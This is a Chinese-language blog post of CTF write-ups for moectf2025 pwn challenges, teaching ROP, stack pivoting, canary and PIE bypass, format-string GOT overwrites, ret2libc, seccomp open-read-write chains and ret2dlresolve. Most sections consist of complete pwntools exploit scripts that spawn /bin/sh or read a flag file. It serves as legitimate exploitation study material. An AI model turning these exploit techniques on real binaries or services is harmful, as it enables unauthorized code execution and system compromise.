当前位置: 首页 > news >正文

pwn入门(一)

moectf2025

目录
  • syslock
  • xdulaker
  • ezpivot
  • ezprotection
  • fmt_t
  • hardpivot
    • 迁移到bss段
    • 输出puts@got
    • ret2libc
    • exp
  • shellbox
  • No way to leak
    • elf相关结构
    • 延迟绑定
    • _dl_fixup
    • ret2dlresolve
    • exp
  • call_it

syslock

import ctypes
from pwn import *
io=remote("127.0.0.1","52550")
context(arch="amd64",os="linux",log_level="debug")
io.recvuntil(b"mode\n")
payload = b"-0000000000032\n"
io.send(payload)
io.recvuntil(b"password\n")
payload = b"\x3b"+b"\x00"*3+b"/bin/sh\x00"
io.send(payload)
io.recvuntil(b"Mode.\n")
#rdi_rsi_rdx+binsh+0+0+rax+59+syscall
rdi_rsi_rdx=p64(0x0401240)
syscall=p64(0x00401230)
pop_rax=p64(0x00401244)
binsh=p64(0x00404084)
payload=b"A"*72+rdi_rsi_rdx+binsh+p64(0)+p64(0)+pop_rax+p64(59)+syscall
io.send(payload)
io.interactive()

系统调用的实现方式如下

  1. 设定参数 rdi,rsi,rdx
  2. 设定rax,表示系统调用号
  3. 调用syscall

第一次溢出在bss段里写入/bin/sh,第二次溢出时用gadget和/bin/sh写payload

xdulaker

import ctypes
from pwn import *
io=remote("127.0.0.1","60376")
context(arch="amd64",os="linux",log_level="debug")io.recvuntil(b">")
io.sendline("1")
io.recvuntil(b":")
opt=io.recvuntil(b"\n")[:-1]
opt=int(opt.decode(),16)
pie=opt-0x00004010
backdoor=pie+0x0000124eio.recvuntil(b">")
io.sendline("2")
io.sendafter(b"!\n",b"xdulaker"*8)
io.recvuntil(b">")
io.sendline("3")
io.recvuntil(b"xdulaker\n")payload=b"a"*56+p64(backdoor)
io.sendline(payload)
io.interactive()

先进行patch

patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./pwn

patchelf --add-needed ./libc.so.6 ./pwn

程序开启了PIE,通过1操作得到bss中的opt地址

2操作写在栈上的内容不会被清除,可以覆盖3操作中的变量

ezpivot

import ctypes
from pwn import *
io=remote("127.0.0.1","63804")
context(arch="amd64",os="linux",log_level="debug")io.recvuntil(b"introduction.\n")
io.sendline(b"-1")
payload=b"a"*(0x700-8)+p64(0x404060)+b"/bin/sh\x00"+p64(0x401219)+p64(0x404060+0x700)+p64(0x40101a)+p64(0x4010a0)
print(payload)
io.sendline(payload)io.recvuntil(b"number:\n")
payload=b"a"*12+p64(0x404060+0x700)+p64(0x40120f)
print(payload)
io.send(payload)io.interactive()
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}

栈迁移,因为system函数是第一次调用要跳到system@plt

ezprotection

import ctypes
from pwn import *
io=remote("127.0.0.1","61075")
context(arch="amd64",os="linux",log_level="debug")io.recvuntil(b"you.\n")
io.send(b"A"*24+b"B")
io.recvuntil(b"B")
s=io.recvuntil(b"anyway.\n")
canary=b"\x00"+s[:7]
payload=b"A"*24+canary+b"A"*8+p16(0x327d)
io.send(payload)
s=io.recvall(timeout=1)
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}
  1. 溢出修改canary的最低位然后输出
  2. pie随机化最小到内存页大小,一般是0x1000,text段的后12位是不变的。可以通过溢出修改后16位,每次有1/16的概率正确

fmt_t

import ctypes
from pwn import *
io=remote("127.0.0.1","64010")
context(arch="amd64",os="linux",log_level="debug")elf = ELF('C:\\Users\\nnqab\\Desktop\\fmt_t\\pwn')
libc = ELF('C:\\Users\\nnqab\\Desktop\\fmt_t\\libc.so.6')io.send(b"%11$p")
io.recvuntil(b"0x")
libc_start=io.recvuntil(b"A")[:-1]
libc_start=int("0x"+libc_start.decode(),16)+0x30libc.address=libc_start-0x29dc0
system=libc.symbols['system']
binsh=next(libc.search(b'/bin/sh\x00'))rop=ROP(libc)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi'])[0]
printf_got=elf.got['printf']io.recvuntil(b"hell.\n")
io.send(b"sh\x00%")io.recvuntil(b"hell.\n")
payload=p64(printf_got)+p64(printf_got+1)
io.send(payload)
# moectf{I-w1l1-41W@YS_6E_w4TchiNg_Y0u7afaf1}
io.recvuntil(b"hell.\n")
cnt1=system&0xff
cnt2=(system>>8)&0xffff
payload="%{}c%24$hhn".format(cnt1).encode()+"%{}c%25$hn".format(cnt2-cnt1).encode()
io.sendline(payload)io.interactive()
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}

泄露栈上的一个地址,写printf_got,再用fmt把printf改成system。

用链修改栈上返回地址retpos->retaddr的流程是找到A->B,用%n向A写入retpos,变成B->retpos,再向B写入backdoor,变成retpos->backdoor

hardpivot

图片

vuln函数有16个字节的溢出,基本思路是栈迁移,构造rop链泄露基址再ret2libc。

迁移到bss段

没有栈上的地址也没开pie,可以迁移到bss段。需要多次读入,返回地址写成read

图片

这里的 buf 是 0x40,迁移的 addr 写成 bss+0x40 ,从 bss 开始写

payload1=b"A"*0x40+p64(bss+0x40)+p64(read)

输出puts@got

写完 buf 后把 rip 弄过去,再把 rbp 跳转到 bss2+0x40

payload2=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(puts_got)+
p64(puts_plt)+p64(read)+b"A"*24+p64(bss)+p64(leave_ret)
  1. 第一次迁移后,rip 指向 call _read 后,rbp 跳转到 bss+0x40
  2. 执行 read 后的 leave
  3. 执行 read 后的 ret
  4. 执行栈上的 leave ret
  5. 再次进入 read ,输入 payload3
stack pos reg1 reg2 reg3 reg4
bss2+0x40 bss rbp rbp
pop_rdi rip
puts_got rsp
puts_plt
read
padding
bss bss+0x40 rbp
leave_ret rsp rip
... rsp
bss2+0x40 rbp

ret2libc

payload3=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(binsh)+
p64(ret)+p64(system)+b"A"*24+p64(bss+0x250)+p64(leave_ret)

exp

import ctypes
from pwn import *
io=remote("127.0.0.1","53774")
context(arch="amd64",os="linux",log_level="debug")elf = ELF('C:\\Users\\nnqab\\Desktop\\hardpivot\\pwn')
libc = ELF('C:\\Users\\nnqab\\Desktop\\hardpivot\\libc.so.6')read=0x401264
bss=0x4040A0+0x500io.recvuntil(b"> ")
payload1=b"A"*0x40+p64(bss+0x40)+p64(read)
io.send(payload1)ret=0x40101a
pop_rdi=0x40119e
leave_ret=0x40127b
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']payload2=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read)+b"A"*24+p64(bss)+p64(leave_ret)
io.send(payload2)
print(payload1)
print(payload2)puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc.address=puts_addr - libc.symbols['puts']
system=libc.symbols['system']
binsh=next(libc.search(b'/bin/sh'))payload3=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+b"A"*24+p64(bss+0x250)+p64(leave_ret)
io.send(payload3)io.interactive()

shellbox

沙箱orw,静态链接,openat

Snipaste_2026-01-19_17-04-54

main 向 buf 读入 256 个字节,然后每次往 v4 里读 8 个字节

Snipaste_2026-01-21_04-14-49

做法是先往 buf 里写 orw 的 rop 链,再把栈迁移过去。正常运行 v4 只能输入一次,但 v4 和 v5 相邻,可以在第一次输入时把 v5 覆盖成 1,下次读入从 rbp+8 开始。因为没法控制 rbp 的返回地址,要改一下迁移的写法,可以用 pop_rsp

payload=b"./flag"+b"\x00"+b"A"
payload+=b"./flag"+b"\x00"+b"A"
payload+=p64(pop_rdi)+p64(-100&0xffffffffffffffff)+p64(pop_rsi)+p64(buf)+p64(pop_rdx)+p64(0)+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(write)payload1=p64(pop_rsp) # rbp+8
payload2=p64(buf+16)

然后就遇到了很神秘的问题,一开始payload是 ./flag + rop链,./flag写在 buf,rop 从 rbp+8 开始,结果没跑通,最后 buf 变成了奇怪的东西

图片

openat 把 buf 也就是 rbp+0x38 覆盖了,要预留空间

Snipaste_2026-01-21_04-52-14

import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")elf = ELF('./pwn')
io = process('./pwn')write=0x4429f0
openat=0x442840
read=0x442950
pop_rdi=0x401a40
pop_rsi=0x401a42
pop_rdx=0x401a44
pop_rsp=0x4121a8
buf=0x4ceb60
leave_ret=0x401ab0io.recvuntil("it.\n")
payload=b"./flag"+b"\x00"+b"A"
payload+=b"./flag"+b"\x00"+b"A"
payload+=p64(pop_rdi)+p64(-100&0xffffffffffffffff)+p64(pop_rsi)+p64(buf)+p64(pop_rdx)+p64(0)+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(write)
io.send(payload)io.recvuntil("..\n")
io.send(b"aaaa"+p32(1))payload1=p64(pop_rsp)
payload2=p64(buf+16)io.recvuntil(b">")
io.send(payload1)
io.recvuntil(b">")
io.send(payload2)gdb.attach(io)for i in range(6) :io.sendafter(b">",b"\x00"*8)io.interactive()
"""
payload += asm(shellcraft.openat(-100,'./flag\x00'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))"""

No way to leak

elf相关结构

.dynstr/strtab

string

.dynsym/symtab

typedef struct  
{  Elf64_Word    st_name;        /* Symbol name (string tbl index) */  unsigned char st_info;        /* Symbol type and binding */  unsigned char st_other;       /* Symbol visibility */  Elf64_Section st_shndx;       /* Section index */  Elf64_Addr    st_value;       /* Symbol value */  Elf64_Xword   st_size;        /* Symbol size */  
} Elf64_Sym; 

.rela.plt/jmprel

typedef struct {Elf64_Addr  r_offset; // GOT 表项偏移Elf64_Xword r_info;   // 符号索引 + 重定位类型Elf64_Sxword r_addend;
} Elf64_Rela;

link_map

struct link_map {Elf64_Addr l_addr;char *l_name;Elf64_Dyn *l_ld;struct link_map *l_next;struct link_map *l_prev;struct link_map *l_real;Lmid_t l_ns;struct libname_list *l_libname;Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
}

延迟绑定

func@plt 是 jmp func@got + push index + jmp plt0,func@got最开始指向第二条指令。plt0是push got[1](linkmap) + jmp got[2](dl_runtime_resolve)dl_runtime_resolve调用_dl_fixup

_dl_fixup

dl_runtime_resolve传入参数后会进入_dl_fixup


_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{// 获取link_map中存放DT_SYMTAB的地址const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);// 获取link_map中存放DT_STRTAB的地址const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);// reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);// 根据重定位结构体的r_info得到symtab表中对应的结构体const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);lookup_t result;DL_FIXUP_VALUE_TYPE value;/* Sanity check that we're really looking at a PLT relocation.  */assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7/* Look up the target symbol.  If the normal lookup rules are notused don't look in the global scope.  */if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码{const struct r_found_version *version = NULL;// 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL){// 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;version = &l->l_versions[ndx];if (version->hash == 0)version = NULL;}       /* We need to keep the scope around so do some locking.  This isnot necessary for objects which cannot be unloaded or whenwe are not using any threads (yet).  */int flags = DL_LOOKUP_ADD_DEPENDENCY;if (!RTLD_SINGLE_THREAD_P){THREAD_GSCOPE_SET_FLAG ();flags |= DL_LOOKUP_GSCOPE_LOCK;}RTLD_ENABLE_FOREIGN_CALL;// 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);/* We are done with the global scope.  */if (!RTLD_SINGLE_THREAD_P)THREAD_GSCOPE_RESET_FLAG ();RTLD_FINALIZE_FOREIGN_CALL;/* Currently result contains the base load address (or link map)of the object that defines sym.  Now add in the symboloffset.  */// 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_valuevalue = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);}else{ // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value/* We already found the symbol.  The module (and therefore its loadaddress) is also known.  */value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);result = l;}/* And now perhaps the relocation addend.  */value = elf_machine_plt_value (l, reloc, value);if (sym != NULL&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));/* Finally, fix up the plt itself.  */if (__glibc_unlikely (GLRO(dl_bind_not)))return value;// 最后把value写入相应的GOT表条目中return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

简单来说,dl_fixup接收linkmap和index,随后向got表里写入函数在内存中的位置

确定写入位置:
linkmap的l_info里找到.rela.plt的位置,用index找到函数在rel段对应的结构体,其中的offset作为要向got表写的地址

确定写入内容:
link_map的l_info里找到symtab的位置,用index找到函数在.rela.plt对应的结构体。在other为0时,r_info找到symtab中的位置,用s_name在strtab中找字符串,在libc中查找函数名的位置,得到运行地址。不为0时,s_value就是字符串在strtab的位置

ret2dlresolve

开启了partial relro,无法修改strtabsymtab。考虑进入other不为0的分支,修改l_addr和s_value,使得写入内容为system的地址。需要伪造一个linkmap,把l_addr改成libc_system-libc_func,s_value改成addr_func

exp

import ctypes
from pwn import *context(arch="amd64",os="linux",log_level="debug")elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
io=remote("127.0.0.1","33473")def create_fake_linkmap (fake_linkmap_addr,known_func_ptr,offset) :linkmap = p64(offset & (2**64-1))linkmap += p64(0)                      #symtablinkmap += p64(known_func_ptr-0x8)     #直接用system@got-8,可以满足other不为0和s_value的要求linkmap += p64(0)                      #jmprellinkmap += p64(fake_linkmap_addr+0x28) #.rel.plt起始地址linkmap += p64((fake_linkmap_addr+0x38-offset) & (2**64-1))linkmap += p64(0x7)     #r_infolinkmap += p64(0)       #got写回地址linkmap += p64(0)linkmap += b'/bin/sh\x00'linkmap = linkmap.ljust(0x68,b'a')linkmap += p64(fake_linkmap_addr)       #strtab,随便写一个可读区域就行linkmap += p64(fake_linkmap_addr+0x8)   #symtablinkmap = linkmap.ljust(0xf8,b'a')linkmap += p64(fake_linkmap_addr+0x18)  #jmprelreturn linkmapbss = 0x404080
bss_stage = bss+0x100
plt_load = 0x401026read_got = elf.got['read']
read_plt = elf.plt['read']
l_addr = libc.sym['system']-libc.sym['read']linkmap = create_fake_linkmap(bss_stage,read_got,l_addr)ret = 0x40101a
pop_rdi = 0x40115e
pop_rsi = 0x401160payload = flat (b'a'*15*8,pop_rdi,0,pop_rsi,bss_stage,read_plt,   pop_rdi,bss_stage+0x48,plt_load, #fake system@pltbss_stage,0
)io.sendline(payload)
pause()
io.send(linkmap)
io.interactive()"""
payload += asm(shellcraft.openat(-100,'./flag\x00'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))"""

call_it

防护开得很全

图片

gift

图片

功能是用 rdi+0x8 作为参数,调用 rdi+0x10 的函数,可以利用

excute

图片

gesture里传入gift就可以直接执行了

然后确实可以溢出到gesture里

from pwn import *context(arch="amd64",os="linux",log_level="debug")
io=process("./call_it")def opt(x) :io.recvuntil("gesture: ")io.sendline(x)
def talk(x) :io.recvuntil("gesture? ")io.send(x)for i in range(7):opt("6")opt("2")
talk(b"/bin/sh\x00\n")#gdb.attach(io)gift = 0x401235
system = 0x401228
binsh = 0x4040d0
payload = p64(gift)+p64(binsh)opt("2")
talk(payload[0:15])opt("2")
talk(p64(system)+b"\n")opt("0")
io.interactive()
http://www.jsqmd.com/news/298081/

相关文章:

  • 阅读文献的方法
  • 2025年AI超级员工使用体验排行榜,AI超级员工/AI企业员工供应商排行榜单
  • 机械行业CKEDITOR导入CAD图纸如何PHP自动转存?
  • 2026年市面上评价高的层板货架订做厂家口碑推荐榜,仓库货架/重型货架/自动化立体库货架,层板货架厂商口碑排行榜
  • 2026年初国内AI获客系统服务商竞争力深度解析
  • 我不想在核心代码中维护一个只会被使用一次的复杂模板机制,为了方便开发者快速开发、定制或贡献自己的模板,为前端单独抽出一个仓库和文档!
  • 新东方烹饪学校客户评价排名如何?口碑良好受学员认可
  • 具备资质的防爆伺服电机厂家如何选择,老牌可靠供应商有哪些
  • 2026年起重机直销厂家排名,杭起起重以技术实力位居前列
  • 绩效激励薪酬选哪家,创锟咨询自驱式理念激发员工自驱力!
  • Multisim14.0安装教程:教育场景下兼容性问题深度剖析
  • 说说合肥城轨培训学校哪家好,合肥东辰职业学校值得深入了解
  • 零配置起步!Unsloth开箱即用的本地AI训练体验
  • 2026年电动升降机制造厂技术强且值得选的排名
  • TurboDiffusion实战对比:Wan2.1与Wan2.2视频生成性能全面评测
  • 毕设项目分享 YOLOv8工地安全监控预警系统(源码+论文)
  • 毕设项目分享 基于大数据分析的股票预测系统
  • Anthropic:始于安全,成于企业——一场关于人工智能未来的深度范式竞争
  • Anthropic公司深度研究报告:AI安全引领者的崛起与商业化突围
  • 工程建筑网页应用中,如何实现文件上传下载的三种方案?
  • 【实战案例】基于YOLOv26的标准化考试答题卡答案区域检测_1
  • 金融保险网页中,如何选择文件上传下载的实用方案?
  • WindowsActionDialog.exe文件丢失找不到 免费下载方法分享
  • 小程序加密痛点破局:CE固定动态密钥+全流程自动化加解密实战指南
  • 深度分析《可能影响未成年人身心健康的网络信息分类办法》:开启未成年人网络保护精细化治理新时代
  • 泄密者的致命疏忽!打印机监控存档数据泄露应受到重视
  • AI重构网络犯罪底层逻辑:从团伙作战到单兵全能,一人产业链的现实与未来
  • 实时录音+精准识别,科哥镜像实现即时语音转文字
  • 紧急预警!SmarterMail认证绕过漏洞在野肆虐 全球超3.9万资产面临服务器接管风险
  • CSS vh 响应式设计实战案例解析